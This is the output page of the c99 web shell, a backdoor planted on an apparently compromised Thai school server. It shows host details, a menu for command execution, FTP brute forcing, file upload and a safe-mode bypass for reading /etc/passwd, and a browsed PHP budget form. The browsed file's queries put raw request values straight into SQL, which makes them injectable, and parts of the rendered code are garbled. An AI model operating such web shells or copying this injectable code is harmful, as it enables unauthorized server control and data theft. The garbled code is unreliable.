!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddBudgetAgree.php (5.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//print_r($_REQUEST);
 
session_start();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if (! session_is_registered("valid_user") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once(
"../includes/FunctionDB.php");
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
     
      
$msg "&nbsp;";
      
$reload "";
     
     
    if ( !empty(
$agreeName ) )
    {
        
$agreeName ereg_replace ("\"","&quot;" ,"$agreeName");
                     
        
        
        
/*---------------------*/
          
$query "SELECT * FROM  formagree_type  WHERE  agreeId ='$agreeId'  and   agtyId ='$agtyId'   ";
          
$result1 $dbObj->execQuery($query);
          
$rs $dbObj->fetchArray($result1);    
          
$num_rows mysql_num_rows($result1);

           if(
$num_rows){
                 
$query1 " UPDATE   formagree_type    SET  agreeName ='$agreeName' , Budget_agree ='$Budget_agree'  WHERE   agreeId ='$agreeId'  and   agtyId ='$agtyId' "
                
$result1 $dbObj->runQuery($query1);
                
$dbObj->freeresult($result1);
            }
            else{
                         
InsertFormTypeAgree($agreeId $agreeName $Budget_agree);
            }
            
                        
        
$msg "<font color=\"#FF0000\"><strong> เพิ่มข้อมูล '<font color=\#0000FF\"> $agreeName </font>' COMPLETE</Strong></font> ";
        
$reload "<script language=\"JavaScript\">\n";
        
$reload $reload."parent.frames.nav.location.reload();\n";
        
$reload $reload."</script>";
        
       echo 
"<script>window.opener.document.all.form1; window.opener.location.reload(); window.close();</script>";
        echo 
"<meta http-equiv=\"refresh\"content=\"2;URL=AddBudgetAree.php\">\n"
        
    }
    else {
        
$msg "<font color=\"#FF0000\"><strong>ยังไม่ได้กรอกข้อมูล </Strong></font> ";
    }
    

                
        
$query " SELECT *  FROM   formagree_type  WHERE  agtyId='$agtyId'   ";
        
$result2 $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result2);        

        
        } 
#else
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<title><?=$_Config_sitename;?></title>

</script>
<script language ="javascript">
 function check()
 {
     if(document.form1.agreeName.value == "")
    {
        alert('กรุณากรอกรายการ');
        document.form1.agreeName.focus();
        return false;
    }
    if(document.form1.Budget_agree.value == "")
    {
        alert('กรุณากรอกจำนวนเงิน');
        document.form1.Budget_agree.focus();
        return false;
    //}
    //if(isNaN(document.form1.sell_tel.value))
    //{ 
    //        alert("กรุณากรอกเบอร์โทรศัพท์เป็นตัวเลขเท่านั้น!!");
        //    document.form1.Phone.focus(); 
            return false;
    }
    else
    {
            document.form1.submit();
    }
 }
 </script>
<table width="524" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="524" height="95">
            <form id="form1" name="form1" method="post"  action="<? echo  $PHP_SELF?>">
              <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" style="background-color:#eeeeee; border:0px solid gray; font-size: 14px;"size="12">
                  <tr bgcolor="#F3F3F3">
                    <td height="28" colspan="3" align="center" bordercolor="#CCCCCC" bgcolor="#FFFFFF"  valign="middle">บันทึกรายการ</td>
                </tr>
                  <tr bgcolor="#F3F3F3">
                    <td width="13%" align="right" bgcolor="#FFFFFF" class="style2">รายการ :</td>
                    <td width="44%" height="22" align="left" bgcolor="#FFFFFF" class="style2"><input name="agreeName" type="text"  size="35" value="<?=$rs['agreeName'];?>" id="agreeName" /></td>
                    <td width="43%" bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;* จำนวนเงิน 
                      <input name="Budget_agree" type="text" id="Budget_agree" value="<?=$rs['Budget_agree'];?>"  size="8" />
บาท</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td  height="19" colspan="3" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#F3D6F2">
                    <td colspan="3" align="center" bgcolor="#FFFFFF">
                      <input name="Submit" type="submit" class="WIDTH60" id="Submit" value="บันทึก"  onclick="return(check())" />
                      &nbsp;
                      <input name="Reset" type="reset" class="WIDTH60" id="Reset" value="Reset" />
                    &nbsp;
<input type="button" name="Submit" value="ปิดหน้าต่าง" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit" />
<input name="agtyId" type="hidden" id="agtyId" value="<?=$rs['agtyId];?>" />
<input name="agreeId" type="hidden" id="agreeId" value="<?=$agreeId ;?>" /></td>
                  </tr>
              </table>
          </form>    
     </td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0069 ]--